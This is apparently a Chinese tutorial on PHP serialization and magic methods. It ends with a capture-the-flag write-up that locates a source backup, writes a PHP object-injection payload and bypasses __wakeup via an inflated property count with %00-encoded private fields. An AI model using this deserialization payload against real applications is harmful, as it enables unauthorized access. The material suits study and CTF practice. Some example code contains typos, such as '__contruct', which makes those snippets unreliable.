函数介绍 serialize()函数 该函数用于将实例化的对象序列化,或者序列化数组
序列化对象
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class demo { public $name = 'cbatl10' ; public function __contruct () { $this ->name = $name; } } $test = new demo(); $test1 = serialize($test); echo $test1;
得到
1 O:4:"demo":1:{s:4:"name";s:7:"cbatl10";}
序列化数组
1 2 3 4 5 <?php $a = array ('l1' ,'l2' ,'l3' ); $serialized = serialize($a); echo $serialized;?>
得到结果
1 a:3:{i:0;s:2:"l1";i:1;s:2:"l2";i:2;s:2:"l3";}
每个字符都有各自的意义,从这两个得到的序列化结果也可以看出来
o表示对象,a表示数组,s表示字符,i表示数字 s:后面的数字表示又多少个字符。
unserialize()函数 从名字来感觉,一个序列化一个反序列化,很轻易的就能知道unserialize()函数的用处。没错,反序列化函数就是用来将序列化后的字符串再转换为对象或数组。
反序列化为对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class demo { public $name = 'cbatl10' ; public function __contruct () { $this ->name = $name; } } $test = new demo(); $test1 = serialize($test); $test2 = unserialize($test1); print_r($test2); ?>
得到了反序列化后的结果
1 2 3 4 demo Object ( [name] => cbatl10 )
反序列化数组
也将会返回数组的信息,这里不在写了。
魔法函数学习 在php类中会包含一些特殊的函数叫魔法函数,下面学习一下这些魔法函数
魔法函数均是以两个下划线开头(__),它会在特定的情况下被调用。
construct()和 destruct()__construct()对象初始化时会调用此方法。
__destruct() 当对象销毁时会调用此方法,什么时候会主动销毁对象呢?
一是用户主动销毁,二是当程序结束后自动销毁。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class Demo { private $flag; public function __construct () { $this ->flag=true ; echo 'brith' .PHP_EOL; } public function __destruct () { $this ->flag=false ; echo 'die' .PHP_EOL; } } $test = new Demo(); sleep(1 ); $test1 = new Demo(); sleep(1 ); ?>
由上代码可以看到__construct() 在运行时是用户自动删除对象
__destruct()是程序完成后自动销毁对象
运行之后返回了 brith die
get()和 set()面对对象编程中使用频率很高的两个方法,当设置和获取对象的属性不被允许时,此方法会被调用。当不存在或不被允许读写时才会被调用,所以当一个对象的属性不确定时,用这两个方法的效果很好。
__get($name) 获取对象不存在的属性或者不被允许访问的属性时被调用。$name为要获取的属性名。
__set($name,$value) 设置对象不存在的属性或者不被允许访问的属性时被调用。$name为要设置的属性名,$value表示要设置的值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class Lyt { protected $_data; public function __get ($name) { if (isset ($this ->_data[$name])){ return $this ->_data; } return false ; } public function __set ($name,$value) { $this ->_data=$value; } } $test = new Lyt(); $test-> name= 'lyt' ; echo $test->name.PHP_EOL;?>
isset()和unset() 当调用方法isset()判断对象是否存在某属性,调用unset()注销某属性时。且这些属性不存在或不可访问时,会分别调用isset()和 unset()方法
都是当属性不存在或者不可访问时被调用
__isset($name) 调用isset()方法来判断属性不存在或不可访问,$name表示属性名
__unset($name) 调用unset()方法来删除不可访问的类属性, $name表示属性名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class study { public $name; public $sex; public $age; public function __construct ($name,$sex,$age) { $this -> name = $name; $this -> sex = $sex; $this -> age = $age; } public function __isset ($name) { echo 'The property' . $name .'no exits' .PHP_EOL; } public function __unset ($name) { echo 'The property' . $name .'can not unset' .PHP_EOL; } } $test = new study('cbatl10' ,'男' ,20 ); isset ($test->name);isset ($test->real_name);unset ($test->age);?>
call()和callstatic() 通过前面我们可以知道当获取对象的属性不存在时会调用__get()方法,但是如果当这个方法也不存在时呢,php引擎就会自动调用到我们的call()方法。
看到callstatic()就可以知道是一个静态的方法,所以他的作用是,当调用的是一个静态的方法时,php引擎会自动调用callstatic()方法。要注意的是在php5.3以上的版本才支持。
__call($method,$args) 调用对象方法不存在或不允许被调用时被调用,$method表示方法名,$args表示调用的参数。
__callstatic($method,$args) 调用对象静态方法不存在或不被允许访问时被调用,$method表示方法名,$args表示调用的参数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class People { public function jump () { echo 'I can jump' .PHP_EOL; } public function run () { echo 'I can run' .PHP_EOL; } public function __call ($method,$args) { echo 'I can not ' .$method.PHP_EOL; } public function __callstatic ($method,$args) { echo 'We are not' .$method.PHP_EOL; } } $people = new People(); $people->jump(); $people->run(); $people->fly(); People:: fly(); ?>
sleep()和wakeup() 看字面意思就知道一个是睡眠一个是醒来,在php中有一个searialize()函数,它会将对象的各个属性序列化以方便保存起来,而相反的是有一个unsearialize()函数,会将保存的序列化的数据解开变成对象。也叫唤醒。
__sleep() 当调用searialize()方法时调用,返回值为数组,表示需要序列化的数据项。
__wakeup() 当调用unsearalize()方法时调用。一般用来唤醒时初始化资源对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php class User { public $username; public $sex; public $passFile; public $password; public function __contruct ($username,$sex,$passFile) { $this ->username=$username; $this ->sex=$sex; $this ->passFile=$passFile; $this ->password=file_get_contents($passFile); } public function getPassword () { return $this ->password; } public function __sleep () { return array ( 'username' ,'sex' ,'passFile' , ); } public function __wakeup () { $this ->password=file_get_contents($this ->passFile); } } $test = new User('cbatl' ,'male' ,'pass.data' ); $test1 = serialize($test); echo $test1.PHP_EOL;$test2 = unserialize($test1); echo $test2->getPassword().PHP_EOL;
toString() 这个很容易理解,str就是字符串,这个方法就是将对象强制转换为string类型
__tostring()方法当对象在需要转换成字符串时,会调用此方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class info { public function __toString () { return 'info' ; } } $test = new info(); echo $test.PHP_EOL;echo md5($test).PHP_EOL;echo substr($test,0 ,3 ).PHP_EOL;?>
clone() 此方法在复制对象时被调用。
我们可以这样理解$a为一个实例化的对象,当$b=$a时。$b为$a 的引用。当$a发生改变时。$b也会随之发生改变,为了使$b不发生改变所以我们需要用$b= clone $a
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class cbat { public $value; public function __clone () { echo "Clone myself" .PHP_EOL; } } $test = new cbat(); $test->value=4 ; $newtest = clone $test; $test->value = 5 ; echo 'The test is' .$test->value.PHP_EOL;echo 'The newtest is' ,$newtest->value.PHP_EOL;?>
autoload() 字面意思是自动加载。主要是用来自动加载类。
在php中要使用另外一个文件中的类需要用require或include方法,包括require_once和include_once导入进来。那么如果我要使用的类未被导入,就会开始调用__autoload()方法。
__autoload($name) $name表示需要自动导入的类名。
1 2 3 4 5 6 7 8 9 10 11 12 13 <? class cbatl10 { public function __construct () { echo "Welcome Cbatl10's" .PHP_EOL; } function __autoload ($name) { $classPath = str_replace('We' ,lyt,$name); require_once ("$classPath.php" ); } $test = new cbatl10(); echo $test;?>
题目实战 打开题目看到如图所示
看到说有网站备份的习惯,于是就有后台扫描工具扫了下,发现了www.zip
于是下载了下来
发现了压缩包里的文件,打开flag.php给了一个类似flag的字符串,结果是错的。
那就接着看吧。先看了index.php文件
在这个文件发现了入口文件class.php,还知道了是GET传参方式,传入select.
接下来查看class.php,审计后
可以知道我们要传入两个参数
一个username 为admin
一个password 为 100
于是可以写脚本构造POC链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class Name { private $username = 'nonono' ; private $password = 'yesyes' ; public function __construct ($username,$password) { $this ->username = $username; $this ->password = $password; } } $a = new Name('admin' , 100 ); $b = serialize($a); echo $b.PHP_EOL;?>
接下来就是绕过__wakeup()
我们审计代码时发现,__wakeup()的作用就是将username重新赋值为 guest,所以我们要绕过这个函数。
在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行,我们可以将字符串中O:4:”Name”后面的2改为3及以上的整数。这样就可以绕过。
新的POC链
1 O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
注意我们使用的private来声明字段,private在序列化中类名和字段名前都要加上ASCII 码为 0 的字符(不可见字符),如果我们直接复制结果,该空白字符会丢失,需要我们自己加上
最终POC
1 O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
然后GET传参构造payload
1 ?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
得到flag!